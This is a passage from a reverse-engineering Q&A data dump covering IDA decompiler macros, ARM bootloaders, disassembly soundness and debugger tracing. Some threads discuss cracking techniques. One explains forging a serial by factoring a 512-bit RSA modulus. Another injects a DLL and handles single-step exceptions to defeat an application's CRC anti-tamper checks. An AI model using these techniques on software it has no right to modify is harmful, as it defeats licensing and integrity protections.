rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt; about signing messages using RSA: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When Bob receives the signed message, he [...] raises the signature to&#xA;  the power of e (modulo n) [...], and compares the resulting hash value&#xA;  with the message's actual hash value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is exactly what your algorithm is doing. It optimizes the math a bit, by calculating x^4 in each loop, and then factoring in x or x^3 depending on 2 bits of the exponent. This seems to be a variation on &lt;a href=&quot;http://en.wikipedia.org/wiki/Exponentiation_by_squaring#Montgomery.27s_ladder_technique&quot; rel=&quot;nofollow noreferrer&quot;&gt;Montgomery's ladder technique&lt;/a&gt;, that uses 2 bits at once instead of one bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;e&lt;/code&gt; is your &lt;code&gt;weird_number&lt;/code&gt; (50003, only the high 16 bits are used), and &lt;code&gt;n&lt;/code&gt; is your &lt;code&gt;encrypt_key&lt;/code&gt;. (You might want to make sure i'm correct by letting your BigInteger library calculate &lt;code&gt;serial^50003 % encrypt_key)&lt;/code&gt; and compare the result to your &quot;plaintext data&quot;, i didn't actually check it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the input, you'll need the signing algorithm, from the same paragraph in Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Alice wishes to send a signed message to Bob. She can use her own&#xA;  private key to do so. She produces a hash value of the message, raises&#xA;  it to the power of d (modulo n) [...], and attaches it as a&#xA;  &quot;signature&quot; to the message.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To calculate the input, you need &lt;code&gt;n&lt;/code&gt; (which you have) and &lt;code&gt;d&lt;/code&gt; (which you don't have). To calculate &lt;code&gt;d&lt;/code&gt;, you need to factor &lt;code&gt;n&lt;/code&gt; into its two generating prime numbers (&lt;code&gt;p&lt;/code&gt;, &lt;code&gt;q&lt;/code&gt;) where &lt;code&gt;n=pq&lt;/code&gt;. This fits with Wolfram Alpha saying &lt;code&gt;n&lt;/code&gt; is not a prime, but, unfortunately, finding these numbers is hard - after all, the algorithm is designed to be uncrackable. However, 512 bits isn't state of the art anymore, and the crypto.stackexchange.com guys say &lt;a href=&quot;https://crypto.stackexchange.com/questions/3931/is-512-bit-rsa-still-safe-for-signature-generation&quot;&gt;factorization of a 512 bit number is quite feasible today&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, you'll probably have to invest a lot more time to reach your goal. Sorry to deliver bad news. &lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:27.393" LastActivityDate="2015-02-23T18:04:57.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8314" PostTypeId="1" AcceptedAnswerId="8315" CreationDate="2015-02-22T17:11:48.393" Score="2" ViewCount="737" Body="&lt;p&gt;I'm reversing an application and I know for a fact it employs CRC checks, so if I modify the code, for instance hooking something, it'll be detected. The application uses a DLL which I replaced with my custom one and I'm trying to get around the CRC checks. The symptoms are, however, puzzling me. This is what happens if I modify the code and it gets detected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xBw4G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seems that the code at this address is just the start of some unrelated function:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y5VRN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;I find that a bit puzzling; I expected something like&#xA;&lt;code&gt;if (detected) RaiseException(EXCEPTION_SINGLE_STEP)&lt;/code&gt;, and instead it simply &quot;crashes&quot; at the start of this function.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;What does that mean?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Am I right in thinking that what we see in the first screenshot implies RaiseException must be deliberately called somewhere in the code?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2015-02-26T20:16:22.923" Title="Single step exception at the beginning of an unrelated function" Tags="|exception|crc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8315" PostTypeId="2" ParentId="8314" CreationDate="2015-02-22T17:17:13.803" Score="1" Body="&lt;p&gt;It simply means the application has set the trap flag (presumably as a response to your modifications).&#xA;However, this doesn't necessarily have to happen via RaiseException. Instead, it could have been done like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pushf&#xA;pop eax&#xA;or eax, 100h&#xA;push eax&#xA;popf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or by a simple variaion of that code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a single step exception is in fact a trap exception (as opposed to a fault exception). A trap is raised &lt;em&gt;after&lt;/em&gt; the instruction executed that caused the trap, whereas a fault is raised &lt;em&gt;before&lt;/em&gt; the instruction executes that would generate that fault.&#xA;For example, a page fault is raised before the instruction that references paged memory actually executes. For the same reason you have division by zero faults, you better get the exception before dividing by zero ;)&#xA;So the code in your application might conceptually look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pushf&#xA;pop eax&#xA;or eax, 100h&#xA;push eax&#xA;popf&#xA;call MySub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you get the exception at the entry of MySub, which makese sense because the exception is raised after the call executed.&#xA;Another possible explanation could be, that an SEH exception is raised and the TF is enabled in the cpu context upon return from the kernel.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2015-02-23T00:08:18.743" LastActivityDate="2015-02-23T00:08:18.743" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8316" PostTypeId="2" ParentId="8293" CreationDate="2015-02-22T21:24:52.930" Score="3" Body="&lt;p&gt;Those are 16-bit USB keyboard/Keypad scan codes. Please see &lt;a href=&quot;http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/scancode.doc&quot; rel=&quot;nofollow&quot;&gt;Keyboard Scan Code Specification&lt;/a&gt; for details. Appendix C contains the complete mapping &lt;/p&gt;&#xA;" OwnerUserId="11677" LastActivityDate="2015-02-22T21:24:52.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8317" PostTypeId="1" CreationDate="2015-02-23T02:51:05.857" Score="2" ViewCount="7826" Body="&lt;p&gt;what does this code on IDA? i've found with this a couple of times and i don't have idea what means.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a5;&#xA;int dGainMax;&#xA;COERCE_DOUBLE(__PAIR__(a5, dGainMax))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11800" LastEditorUserId="10027" LastEditDate="2015-02-23T15:40:02.560" LastActivityDate="2015-02-23T15:40:02.560" Title="What does __PAIR__ mean in Hex-Rays decompiler output?" Tags="|ida|decompiler|hexrays|" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-27T16:24:13.367" ContentLicense="CC BY-SA 3.0" />
  <row Id="8318" PostTypeId="2" ParentId="42" CreationDate="2015-02-23T09:35:19.093" Score="2" Body="&lt;p&gt;Another tool is &lt;strong&gt;Bytecode Viewer&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Konloch/bytecode-viewer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Konloch/bytecode-viewer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bytecode Viewer is an Advanced Lightweight Java Bytecode Viewer, GUI&#xA;  Java Decompiler, GUI Bytecode Editor, GUI Smali, GUI Baksmali, GUI APK&#xA;  Editor, GUI Dex Editor, GUI APK Decompiler, GUI DEX Decompiler, GUI&#xA;  Procyon Java Decompiler, GUI Krakatau, GUI CFR Java Decompiler, GUI&#xA;  FernFlower Java Decompiler, GUI DEX2Jar, GUI Jar2DEX, GUI Jar-Jar, Hex&#xA;  Viewer, Code Searcher, Debugger and more. It's written completely in&#xA;  Java, and it's open sourced. It's currently being maintained and&#xA;  developed by Konloch.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2302" LastActivityDate="2015-02-23T09:35:19.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8319" PostTypeId="2" ParentId="8268" CreationDate="2015-02-23T12:04:57.497" Score="11" Body="&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#F!OAx0wL7K!gLPZh7pkMv7d8as5serOmg&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; you can find bunch of tools for unpacking upx. One of them(Upx Unpacker 0.2) solved my issue. Every unpacker should be used in specific case and this list  may be incomplete. &lt;/p&gt;&#xA;" OwnerUserId="4609" LastActivityDate="2015-02-23T12:04:57.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8320" PostTypeId="1" AcceptedAnswerId="8321" CreationDate="2015-02-23T12:09:57.990" Score="0" ViewCount="1197" Body="&lt;p&gt;In a 3rd party application I'm modifying by means of DLL injection, there's a chunk of code that throws an EXCEPTION_SINGLE_STEP exception if it detects changes to the code. To bypass this countermeasure, I wish to catch that exception and discard it completely. However, Windows keeps rethrowing it and therefore my exception handler is stuck in an endless loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code currently:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LONG WINAPI VEH_Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)&#xA;{&#xA;    printf(&quot;Got an exception %X at address %X\n&quot;, ExceptionInfo-&amp;gt;ExceptionRecord-&amp;gt;ExceptionCode, ExceptionInfo-&amp;gt;ExceptionRecord-&amp;gt;ExceptionAddress);&#xA;&#xA;    if (ExceptionInfo-&amp;gt;ExceptionRecord-&amp;gt;ExceptionCode == EXCEPTION_SINGLE_STEP)&#xA;    {&#xA;        return EXCEPTION_CONTINUE_EXECUTION;&#xA;    }&#xA;&#xA;    return EXCEPTION_CONTINUE_SEARCH;&#xA;}&#xA;&#xA;//...&#xA;&#xA;//in DllMain&#xA;AddVectoredExceptionHandler(1, VEH_Handler);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way for me to force Windows to forget about the exception and continue execution?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2015-02-23T12:24:08.030" Title="Windows VEH - catch and discard a single step exception" Tags="|windows|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8321" PostTypeId="2" ParentId="8320" CreationDate="2015-02-23T12:24:08.030" Score="3" Body="&lt;p&gt;I assume this is a follow-up on &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8314/single-step-exception-at-the-beginning-of-an-unrelated-function&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the program you're injecting the DLL into is setting the processor's trap flag, then returning from the exception will restore the trap flag as well, which would explain why the trap exception is thrown again and windows will keep calling your exception handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might check the stack, find where the pushed flags from the exception are saved, and clear the trap flag before returning (&lt;code&gt;*flagptr &amp;amp;= ~0x100&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the fact that your application sets the trap flag in the first place might mean one of those two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The application has detected that you're trying to crack it, and sets the trap flag to make it crash, or enter the debugger in an inconvenient way. It might do anything else to your program as well.&lt;/li&gt;&#xA;&lt;li&gt;The application installs a trap exception handler, sets the trap flag, and has the trap handler modify the code that's being executed (25 years ago, i've seen this in a dos application, where the trap handler decrypted instructions just before they got executed, and re-encrypted them immediately afterwards, so you never saw the real assembly in a whole, so that's hardly a new technique).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both possibilities probably mean that just ignoring the traps won't help you much; you should find the code that sets the trap flag, check why it's doing this, and continue your analysis from there.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-02-23T12:24:08.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8322" PostTypeId="2" ParentId="8317" CreationDate="2015-02-23T12:35:56.157" Score="4" Body="&lt;p&gt;&lt;code&gt;__PAIR__()&lt;/code&gt; seems to be a macro that computes an &lt;code&gt;unsigned long&lt;/code&gt; value from its two arguments, which it interprets as containing the high and low bits of that value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The topic linked by Guntram - &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4269/understanding-pair-macro-from-ida-pro-pseudo-decompiler-to-look-better&quot;&gt;Understanding __PAIR__ macro from IDA PRO Pseudo Decompiler to look better&lt;/a&gt; contains a definition for the macro and examples of its use, but no explanation of it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The following definition is not quite correct because it always returns&#xA;// uint64. The above C++ functions are good, though.&#xA;#define __PAIR__(high, low) (((unsigned long)(high)&amp;lt;&amp;lt;sizeof(high)*8) | low)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The macro doesn't make a lot of sense. Either it was transcribed erroneously (with the original containing &lt;code&gt;sizeof(low)&lt;/code&gt; instead of &lt;code&gt;sizeof(high)&lt;/code&gt;) or the above-mentioned pseudo decompiler uses it only in cases where it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the following conditions hold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;CHAR_BIT == 8&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sizeof(high) &amp;lt; sizeof(unsigned long)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sizeof(low) &amp;lt;= sizeof(high)&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;then the macro can be used to form a value of double register width - like DX:AX - from two register-width values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Condition 2 is necessary because otherwise the behaviour would be undefined (no-op on Intel chips, for example, since they mask shifts for registers &amp;lt;= 32 bit with 31). Condition 3 is necessary because otherwise 'excess' bits in &lt;code&gt;low&lt;/code&gt; could bleed over the bits of &lt;code&gt;high&lt;/code&gt; in the resulting value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment and the context (usage example) suggest that &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;code&gt;sizeof(unsigned long) == sizeof(uint64_t)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sizeof(int) == sizeof(int32_t)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This implies a compiler of the LP64 variety, like those usually found in 64-bit UNIX (&lt;strong&gt;not&lt;/strong&gt; the LLP64 kind common on Wintel platforms). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The naming of the &lt;code&gt;COERCE_DOUBLE&lt;/code&gt; macro is a bit unfortunate since it probably refers to &lt;em&gt;converting&lt;/em&gt; the value to a double while 'coercing' might also mean &lt;em&gt;reinterpreting&lt;/em&gt; the bits as a floating point value, something which certain programming tricks used to rely on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is some ambiguity regarding the conversion. The x86 FPU can load &lt;em&gt;signed&lt;/em&gt; integers directly into floating point registers (FILD) but not unsigned ones, which means that x86 compilers have to emit a load of extra code for converting unsigned integers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the &lt;code&gt;__PAIR__&lt;/code&gt; macro with its implied unsignedness can erroneously suggest major inefficiencies that aren't there, since x86 CPUs tend to interpret double-width register values are as &lt;em&gt;signed&lt;/em&gt; whenever signedness matters (see instructions like CDQ, DIV or FILD, for example). The devil is in the details which are hidden and glossed over by the strange macros. Hence it is advisable to consult the disassembly to find out what's really going on, even though the SP simulation of the disassembler can be a bit off on occasion.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-02-23T12:35:56.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8324" PostTypeId="1" AcceptedAnswerId="8331" CreationDate="2015-02-23T19:45:34.207" Score="4" ViewCount="8481" Body="&lt;p&gt;I have breakpoint in function 'A', but 'A' can be called by functions 'B' and 'C'. When a breakpoint is hit, i'd like to know what called 'A' in the first place. Is there something like a function call stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found 'debugger-&gt;tracing-&gt;stack trace' option, but when i press it after breakpoint is hit, it only shows this, which doesnt make any sense:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pHQbr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11825" LastActivityDate="2015-03-26T20:41:35.290" Title="How to find which function called the one currently being executed in IDA?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8326" PostTypeId="1" CreationDate="2015-02-24T01:13:19.367" Score="-2" ViewCount="4369" Body="&lt;p&gt;I am in trouble with GearFit bootloader. I can not find the load address when disassembled into IDA pro.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://www.dropbox.com/s/6n56v6d5rrvkrfb/bootloader.bin?dl=0.&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;link&lt;/strong&gt;&lt;/a&gt; to download it.&lt;/p&gt;&#xA;" OwnerUserId="11557" LastEditorUserId="53" LastEditDate="2015-02-25T16:12:56.717" LastActivityDate="2016-11-02T14:57:17.620" Title="Reverse Engineering bootloader" Tags="|ida|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8327" PostTypeId="2" ParentId="8326" CreationDate="2015-02-24T02:17:40.933" Score="4" Body="&lt;p&gt;You might want to look at this &lt;a href=&quot;https://stackoverflow.com/questions/6139952/what-is-the-booting-process-for-arm&quot;&gt;excellent explanation of the ARM boot process&lt;/a&gt; by Igor Skochinsky. Loading the boot loader at address 0, Architecture ARM, results in the first few lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:00000000 dword_0         DCD 0x20002DE0&#xA;ROM:00000004                 DCD 0x20016AAD&#xA;ROM:00000008                 DCD 0x2000E241&#xA;ROM:0000000C                 DCD 0x2000E245&#xA;ROM:00000010                 DCD 0x2000E2B5&#xA;ROM:00000014                 DCD 0x2000E32D&#xA;ROM:00000018                 DCD 0x2000E3A5&#xA;ROM:0000001C                 DCD 0&#xA;ROM:00000020                 DCD 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, 0x20002DE0 is the initial stack pointer, and &lt;code&gt;0x20016AAD&lt;/code&gt; is the entry point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That entry point does not seem to be contained in the boot loader itself (which has 64 K + 256 bytes), but in the on-Chip ROM. From the answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that in the modern complex chips such as OMAP3 or Apple's A4 the&#xA;  first piece of code which is executed is usually not user code but the&#xA;  on-chip Boot ROM. It might check various conditions to determine where&#xA;  to load the user code from and whether to load it at all (e.g. it&#xA;  could require a valid digital signature). In such cases, the user code&#xA;  might have to conform to different start-up conventions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So unless you can somehow dump the memory at &lt;code&gt;0x20016AAD&lt;/code&gt;, you won't be able to find out what the ROM does, and where within the ROM it jumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a brief glance at the code, i'd assume the entry point to be a &lt;code&gt;0xBA40&lt;/code&gt;, or maybe &lt;code&gt;0xBAC0&lt;/code&gt; which calls &lt;code&gt;0xBA40&lt;/code&gt;, because this calls &lt;code&gt;0x0960&lt;/code&gt;. The first few instructions there (especially at &lt;code&gt;0x097a&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:00000960                 PUSH.W          {R4-R11,LR}&#xA;ROM:00000964                 SUB             SP, SP, #0x6C&#xA;ROM:00000966                 ADD             R0, SP, #0x90+var_88&#xA;ROM:00000968                 MOVS            R1, #0x34 ; '4'&#xA;ROM:0000096A                 BL              sub_1A58&#xA;ROM:0000096E                 BL              sub_8A8&#xA;ROM:00000972                 BL              sub_266&#xA;ROM:00000976                 BL              sub_1D8&#xA;ROM:0000097A                 ADR.W           R0, aStartBootloade ; &quot;\n\n\nstart bootloader\n&quot;&#xA;ROM:0000097E                 BL              sub_1E94&#xA;ROM:00000982                 MOVS            R1, #1&#xA;ROM:00000984                 LDR.W           R0, =0x40020000&#xA;ROM:00000988                 BL              sub_193E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seem to be an indication that the bootloader starts there, and &lt;code&gt;sub_1E94&lt;/code&gt; is a generic string output function (it gets called lots of times, every time with a string address in &lt;code&gt;R0&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-02-25T15:48:46.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8328" PostTypeId="1" AcceptedAnswerId="8571" CreationDate="2015-02-24T12:30:19.393" Score="4" ViewCount="1143" Body="&lt;p&gt;I'm interested in formal verification of software at binary code level. Obviously, the first step would be to recover the actual assembly instructions from binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDAPro can do a pretty good job at disassembly of x86, however, it is still possible that some data can be interpreted as code. Therefore an analysis based on in it is still unsound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Software in my application domain is not obfuscated and not self-modifying,&lt;/li&gt;&#xA;&lt;li&gt;and ARM instructions are less variable than x86 (2 or 4 bytes length).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can the disassembly of ARM binaries be sound? In other words, can disassemblers recover the actual code precisely?&lt;/p&gt;&#xA;" OwnerUserId="11828" LastActivityDate="2015-03-27T08:40:50.117" Title="Soundness of ARM disassembly" Tags="|disassembly|arm|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8329" PostTypeId="2" ParentId="8328" CreationDate="2015-02-24T13:09:16.053" Score="2" Body="&lt;p&gt;You'll face the same problem that any disassembler has: you don't know the meaning of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Real life example i had last week: when i saw the value &lt;code&gt;0x00408800&lt;/code&gt; passed to a function, i was certain this had to be a bit mask. After a lot of tracing, and seeing the value was stored somewhere, copied somewhere else, used in a class constructor, and accessed in a method of a subclass, i figured out that this was actually a memory location, which happened to be part of a larger array, so it didn't even have a symbol on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, if it had been an indirect call instead of a memory access, this would have turned the meaning of the bytes at that address from data to code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless your code verifier / disassembler generates a list of every possible state of the program and RAM, and as a results, knows where every literal value might be used, and knows where every used value might be calculated from, you won't be able to find such ambiguities automatically. But, this is only one example for an ambiguity, and i suppose being able to differentiate between a memory location and a bitmap would be quite important for any kind of code verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, unless you make a lot more assumptions (code is generated by a specific compiler that emits a finite number of basic blocks that are combined only in specific ways), no, i don't think it's possible.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-02-24T13:09:16.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8330" PostTypeId="2" ParentId="8328" CreationDate="2015-02-24T13:32:33.067" Score="4" Body="&lt;p&gt;The coverage/completeness problem has little to do with the 'accuracy' of a disassembly engine or variance in instruction length. The problem arises if and when code is not referenced statically from the call tree rooted at the entry point of the target binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among other things this comprises:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;other external entry points (DLL exports, TLS callbacks etc.)&lt;/li&gt;&#xA;&lt;li&gt;switch tables&lt;/li&gt;&#xA;&lt;li&gt;vtables&lt;/li&gt;&#xA;&lt;li&gt;non-static function pointers/tables (e.g. C-style objects)&lt;/li&gt;&#xA;&lt;li&gt;funclets/thunks related to exception handling etc.&lt;/li&gt;&#xA;&lt;li&gt;CRT init/exit tables&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Accuracy comes into play with regard to switch tables, which in IDA are the responsibility of the individual processor modules. The other things are the responsibility of the loader, the kernel, compiler-specific plugins (RTTI, exception funclets), and ultimately the human operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SEH info in x64 COFF covers all non-leaf functions, and this improves coverage a lot compared to 32-bit COFF. If you have control over the build process then you can achieve almost perfect coverage via debug info (PDB, TDS etc.). Having the linker produce detailed MAP files can also be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional complication arises if a binary has its relocation info stripped; in this case the disassembler may have problems deciding whether a given immediate value is an offset or just a number. The same problem occurs with based pointers, including RVAs outside of places where IDA expects RVAs to occur.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2015-02-24T13:32:33.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8331" PostTypeId="2" ParentId="8324" CreationDate="2015-02-24T19:58:03.520" Score="5" Body="&lt;p&gt;Do a function tracing like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;set a breakpoint at the main function and at your target function&lt;/li&gt;&#xA;&lt;li&gt;start debugging&lt;/li&gt;&#xA;&lt;li&gt;when the process is halted: Go to Debugger-&gt;Tracing-&gt;Function Tracing&lt;/li&gt;&#xA;&lt;li&gt;continue Process&lt;/li&gt;&#xA;&lt;li&gt;once the process is halted again, go to Debugger-&gt;Tracing-&gt;Tracing Window and check for the info you need.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this does not give you the needed info try basic block or instruction tracing. This will work even if there is a problem with identifying functions / the stack frame ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on the tracing feature can be found here: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/tracing.pdf&quot; rel=&quot;noreferrer&quot;&gt;hex-rays tutorial on tracing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2015-02-24T20:03:45.837" LastActivityDate="2015-02-24T20:03:45.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8332" PostTypeId="1" CreationDate="2015-02-25T04:39:36.263" Score="1" ViewCount="489" Body="&lt;p&gt;Rather short question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i've taken to using StrongOD for Ollydbg and I noticed that the fengyue0.sys doesn't exist, I had googled around and restarted my computer in hopes it would be created, yet no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to aquire this?&lt;/p&gt;&#xA;" OwnerUserId="11833" LastActivityDate="2015-02-25T04:39:36.263" Title="StrongOD Driver missing" Tags="|ollydbg|driver|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8334" PostTypeId="1" CreationDate="2015-02-25T11:18:40.323" Score="1" ViewCount="298" Body="&lt;p&gt;In the context of &lt;a href=&quot;http://en.wikipedia.org/wiki/Oracle_America,_Inc._v._Google,_Inc.&quot; rel=&quot;nofollow&quot;&gt;Oracle vs. Google&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is not a case where Google reverse-engineered Oracle’s Java&#xA;  packages to gain access to unprotected functional elements contained&#xA;  therein.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;page 48 ORACLE AMERICA , INC . v. GOOGLE INC .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, &lt;strong&gt;had&lt;/strong&gt; Google, or, were to Google &lt;strong&gt;to&lt;/strong&gt; reverse engineer Oracle's Java packages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tools would Google have used?&lt;br&gt;&#xA;How long would it have taken, approximately?&lt;br&gt;&#xA;What would've been the estimated cost?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;(I'm not asking whether or not an API should or can be copyrighted, or the merits of what Google did.)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(To clarify:  Google &lt;strong&gt;didn't&lt;/strong&gt; reverse engineer &quot;Java&quot;; at least one comment defines what they did as &lt;a 